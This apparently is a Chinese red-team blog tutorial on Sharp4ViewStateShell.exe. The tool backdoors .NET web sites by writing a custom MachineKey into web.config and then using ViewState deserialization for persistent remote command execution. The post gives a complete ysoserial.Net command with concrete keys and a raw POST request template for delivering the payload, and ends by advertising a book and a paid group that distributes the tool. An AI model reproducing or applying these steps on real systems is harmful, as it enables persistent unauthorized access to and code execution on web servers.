在红队中持久化访问权限是关键环节之一,Sharp4ViewStateShell.exe
是一款专门为.NET Web站点设计的权限维持工具,其核心思想是通过配置自定义的 MachineKey
,结合 .NET 的 ViewState 反序列化漏洞,实现远程命令执行并维持访问权限。本文将详细讲解该工具的使用方式及其利用链流程,帮助红队人员快速完成权限维持操作。
Sharp4ViewStateShell.exe自动修改 .NET 的 web.config
文件,插入自定义 MachineKey
,用于后续利用 ViewState 反序列化漏洞实现远程命令执行。
一键运行 Sharp4ViewStateShell.exe
修改目标站点的 web.config,直接运行
Sharp4ViewStateShell.exe
,无需任何参数。
Sharp4ViewStateShell.exe
执行后,该工具会自动为站点插入 MachineKey 配置项,如下图所示。
接着,访问目标页面单个 aspx页面
,使用浏览器开发者工具或 Burp Suite 抓包工具,找到页面源码中类似如下内容:
<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR"value="DBC4925F"/>
随后,使用 ysoserial.Net
构造带有命令执行,比如 tasklist 的ViewState负载,命令如下所示。
ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "./ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll;./dlls/Microsoft.AspNet.FriendlyUrls.dll"--validationalg="SHA1"--validationkey="28E969418EFBAF7DAF4A05B12A9F588774129BA306ED094A0C9CA70A45F6C4A83512EB9CF050D7261ADA8E57728B830E540BC26394CEF1F43AEC642AD61D894F"--decryptionalg="AES"--decryptionkey="F6F6CB3C4FE662991CEF709C5A2ACDDD228FDF21CD708186736FE4B3E008B3A6"--generator="DBC4925F"
执行后将输出一个经过Base64编码的 __VIEWSTATE
值,如下图所示。
最后,构造如下 POST 请求,并将上一步生成的 ViewState 值粘贴到 __VIEWSTATE
参数中:
POST /ViewState.aspx HTTP/1.1Host:localhostPragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) Chrome/137.0.0.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length:9337form1_r=0.7834879954225045&form1_t=1734416003580&form1_d=1734416071170&form1_e=2&__VIEWSTATE=【此处粘贴生成的ViewState】
将该请求发送到 ViewState.aspx
页面,成功后页面响应可能包含命令执行结果,tasklist 命令已被成功执行,实现远程RCE,如下图所示。
综上,Sharp4ViewStateShell.exe
利用了 .NET 的 ViewState 反序列化机制配合自定义 MachineKey,实现持久化远程命令执行,非常适合在红队渗透中用于权限维持。文章涉及的工具已打包在星球,感兴趣的朋友可以加入自取。
以上相关的知识点已收录于新书《.NET安全攻防指南》,全书共计25章,总计1010页,分为上下册,横跨.NET Web代码审计与红队渗透两大领域。
上册深入剖析.NET Web安全审计的核心技术,帮助读者掌握漏洞发现与修复的精髓;下册则聚焦于.NET逆向工程与攻防对抗的实战技巧,揭秘最新的对抗策略与技术方法。
从漏洞分析到安全攻防,我们涵盖了 .NET 安全各个关键方面,为您呈现最新、最全面的 .NET 安全知识,下面是公众号发布的精华文章集合,推荐大伙阅读!
20+专栏文章
海量资源和工具
专属成员交流群
已入驻的大咖们
欢迎加入我们
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...